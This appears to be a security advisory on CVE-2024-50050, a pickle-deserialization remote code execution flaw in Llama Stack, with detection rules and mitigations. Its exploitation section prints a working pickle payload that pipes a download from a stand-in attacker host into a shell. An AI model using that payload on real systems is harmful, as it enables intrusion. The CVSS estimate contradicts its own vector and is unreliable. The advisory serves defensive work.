CVE-2024-50050

Executive Summary

CVE-2024-50050 is a critical remote code execution (RCE) vulnerability affecting Llama Stack, an open-source orchestration framework for large language model (LLM) inference and agent workflows. The flaw stems from the use of Python's pickle module as the serialization format for inter-process socket communication, which permits arbitrary object deserialization and thus command execution on the target host. Any service exposing a Llama Stack socket endpoint to untrusted network traffic is directly exploitable. The vendor has addressed the issue by replacing pickle with JSON serialization in a specific git revision; however, patch adoption is uncertain because the fix has not been tied to a stable release tag and remains only claimed by a single source as of this report.

Technical Analysis

The vulnerability resides in the socket communication layer of Llama Stack, likely within the server-side RPC handler responsible for receiving requests from client agents. The codebase previously used Python's pickle.loads() on data received over a TCP socket before routing the request to the appropriate handler function. Python pickle is inherently unsafe: untrusted pickle data can instantiate arbitrary Python objects, invoke __reduce__ methods, and ultimately execute arbitrary operating system commands via classes such as os.system or subprocess.Popen.

The attack surface is any network-accessible Llama Stack endpoint — typically a dedicated inference server listening on a TCP port (commonly configured for localhost or a LAN interface). The exploit does not require authentication on the socket if the server is misconfigured to bind to non-loopback addresses or is behind a container port-forwarding rule.

At the code level, the vulnerable pattern resembles:

import pickle
def handle_connection(data):
    request = pickle.loads(data)  # Insecure
    route_request(request)

import json
def handle_connection(data):
    request = json.loads(data)    # Safe
    route_request(request)

No CWE or CVSS was originally published, but the vulnerability class is definitively CWE-502 (Deserialization of Untrusted Data). Because the serialization feed is directly parsed from the network without integrity checks, the trust boundary is entirely absent — the receiving process treats attacker-controlled bytes as a trusted Python object graph.

Exploitation Scenarios

Attack chain for remote exploitation of an exposed Llama Stack socket:

1. Reconnaissance / Target Identification: An attacker scans internal or internet-facing IP ranges for open TCP ports commonly used by Llama Stack. The default socket binding is often dynamic; however, common ports include 50051 (gRPC), 8000, or an arbitrary port printed in server logs. The attacker can identify the service by sending a malformed JSON probe and observing an error message that reveals the llama_stack library name or by performing a TCP banner grab that shows a custom handshake string.

2. Trigger / Weaponization: The attacker crafts a malicious pickle payload as the message body. A minimal exploit string can be generated using a standard pickle payload for os.system:

   import pickle, os
   class Exploit:
       def __reduce__(self):
           return (os.system, ("curl http://attacker.example/pwned|sh",))
   payload = pickle.dumps(Exploit())
   

   The attacker prepends the network framing used by Llama Stack — typically a 4-byte length prefix followed by the pickle blob, or simply a raw socket write with no length encoding depending on the version.

3. Payload / Execution: The attacker sends the malicious byte stream to the socket using a simple client script (e.g., socket.create_connection((target, port)).sendall(payload)). The vulnerable server deserializes the payload, triggering __reduce__ and executing the attacker's command with the privileges of the Llama Stack service account — commonly root when run in a container or a dedicated user with broad filesystem permissions.

4. Post-Exploitation: A successful exploit grants the attacker a command shell (via reverse shell payload) or one-shot command execution. The attacker can then:

   • Exfiltrate inference prompts, stored model weights, or API keys from the service environment.
   • Pivot within the network using the compromised host as a staging point.
   • Install persistence via cron jobs or systemd services, given the service account's write permissions.

Note: This scenario assumes socket access is network-reachable. If the socket is bound strictly to 127.0.0.1 (default configuration), the attack requires prior local access or an SSRF/DNS rebinding vector from a web application co-located on the host.

Impact Assessment

• Business Impact: Complete compromise of the Llama Stack server. Since Llama Stack orchestrates model inference and agent execution, a compromised instance can leak sensitive prompt data, manipulate model outputs (prompt injection at the orchestration layer), and serve as a launchpad for lateral movement into the AI infrastructure.
• Blast Radius: The service account's privileges define the machine-level blast radius. In containerized deployments, the container may be privileged or mounted with host paths, expanding exposure to the host kernel and adjacent containers.
• CVSS Context: No official CVSS score was assigned. Given the class of vulnerability (CWE-502 with network-triggerable socket), an estimated score would fall in the High range (7.0–8.9) under CVSS:3.1 with vector AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H — reflecting unauthenticated remote execution with scope change. This estimate is not an official vendor rating.

Detection Guidance

Sigma Rule

title: Llama Stack Pickle Socket RCE Attempt
id: 7f9d2c4e-1b6a-4e2f-9d3c-8b7a1e6f2c0d
status: experimental
description: Detects network connections to Llama Stack socket ports followed by suspicious pickle magic bytes
references:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-50050
logsource:
    category: network_connection
    product: linux
detection:
    selection_port:
        destination.port:
            - 50051
            - 8000
            - 9000
    selection_payload:
        network.protocol: tcp
        payload|contains:
            - "\x80\x04\x95"       # pickle protocol 4 header
            - "\x80\x05\x95"       # pickle protocol 5 header
            - "os.system"
            - "subprocess.Popen"
    condition: selection_port and selection_payload
level: critical
falsepositives:
    - Legitimate internal pickle usage in debug builds (unlikely in production)
fields:
    - dest_ip
    - dest_port
    - payload

YARA Rule

rule LlamaStack_Pickle_RCE_2024_50050 {
    meta:
        author = "Valter Security Research"
        description = "Detects pickle protocol packets targeting Llama Stack socket services"
        cve = "CVE-2024-50050"
        date = "2024-10-23"
        severity = "critical"
    strings:
        $pickle4 = { 80 04 95 }
        $pickle5 = { 80 05 95 }
        $os_system = "os.system"
        $popen = "subprocess.Popen"
        $reduce = "__reduce__"
        $socket_commands = "socket" ascii nocase
    condition:
        any of ($pickle*) and (any of ($os_system, $popen, $reduce))
        and #socket_commands <= 5
}

Suricata IDS Rule

alert tcp any any -> any 50051,8000,9000 (msg:"Llama Stack pickle RCE attempt (CVE-2024-50050)"; flow:established,to_server; content:"|80 04 95|"; depth:4; content:"__reduce__"; within:500; content:"os.system"; within:1000; sid:5015001; rev:1; metadata:cve CVE-2024-50050; classtype:attempted-admin; reference:url,https://security.valtersit.com/CVE-2024-50050;)

Elastic Detection

any where process.name == "python" and event.action in ("write","send") and
  network.protocol == "tcp" and
  destination.port in (50051, 8000, 9000) and
  (
    wildcard(destination.packets, "*os.system*") or
    wildcard(destination.packets, "*subprocess.Popen*") or
    wildcard(destination.packets, "*__reduce__*")
  )

Splunk SPL Query

index=network sourcetype=stream:tcp dest_port IN (50051,8000,9000)
| search payload IN (*os.system*, *subprocess.Popen*, *__reduce__*)
| eval pickle_protocol = if(match(payload,"\\x80\\x04\\x95") OR match(payload,"\\x80\\x05\\x95"), "pickle", "unknown")
| where pickle_protocol == "pickle"
| table _time, src_ip, dest_ip, dest_port, payload
| sort - _time

Wazuh OSSEC Rule

<group name="syslog,">
  <rule id="100501" level="15">
    <decoded_as>json</decoded_as>
    <field name="event_type">^suspicious_pickle$</field>
    <description>Llama Stack pickle deserialization attempt detected (CVE-2024-50050)</description>
    <group>llama_stack,rce,</group>
    <mitre>
      <id>T1210</id>
    </mitre>
    <options>no_full_log</options>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 2/4 (CLAIMED) — Only a single source references the fixing commit; no official release advisory or changelog has been published. Analyst recommendation: treat the claimed commit as authoritative but verify integrity before deploying.

1. Immediate Mitigations (days 0–3):

   • If an inline fix is not yet applied, restrict network access to Llama Stack socket endpoints using firewall rules or security group policies — allow only trusted, known source IPs (e.g., orchestrator nodes, monitoring systems).
   • Bind the server socket to 127.0.0.1 only if remote inference is not a required feature. For distributed setups, enforce mTLS or a VPN segment between clients and the Llama Stack server.
   • Add an application-level interceptor (e.g., a reverse proxy) that rejects any payload containing pickle protocol magic bytes (\x80\x04 or \x80\x05) before it reaches the vulnerable process.

2. Patch / Upgrade Steps:

   • After pulling the commit, rebuild the service container/image and restart all instances.
   • Optionally, check for any newly assigned stable release tag or wheel package that includes this commit; until one is available, pin the deployment to the exact commit SHA.
   • Run a socket-level regression test: send a valid JSON RPC request and a malicious pickle payload to verify the fix rejects the latter.

3. Long-Term Hardening:

   • Adopt a cryptographic integrity layer (mutual TLS with cert rotation) for all intra-cluster socket traffic.
   • Implement a strict allowlist of RPC methods and validate all request schemas at a dedicated ingress layer to preclude future deserialization bypasses.
   • Enable kernel-level protections (seccomp, AppArmor/SELinux) for the Llama Stack service account to limit the blast radius of any future arbitrary code execution.
   • Subscribe to Llama Stack security announcements and maintain a rapid patch cadence — do not rely on git-based CVEs without a stated release cadence.

References

1. NVD: https://nvd.nist.gov/vuln/detail/CVE-2024-50050
2. CWE-502 — Deserialization of Untrusted Data: https://cwe.mitre.org/data/definitions/502.html
3. Python pickle security documentation (official warning): https://docs.python.org/3/library/pickle.html
4. CISA KEV — not listed (no known in-the-wild exploitation as of this report date).

Exploit Evidence: No public exploit code, proof-of-concept, or threat-actor campaign referencing CVE-2024-50050 has been observed. The EPSS score of 0.00030 (percentile) indicates a very low probability of exploitation in the immediate term, but this does not diminish the severity for exposed deployments, given the trivial nature of crafting a pickle payload.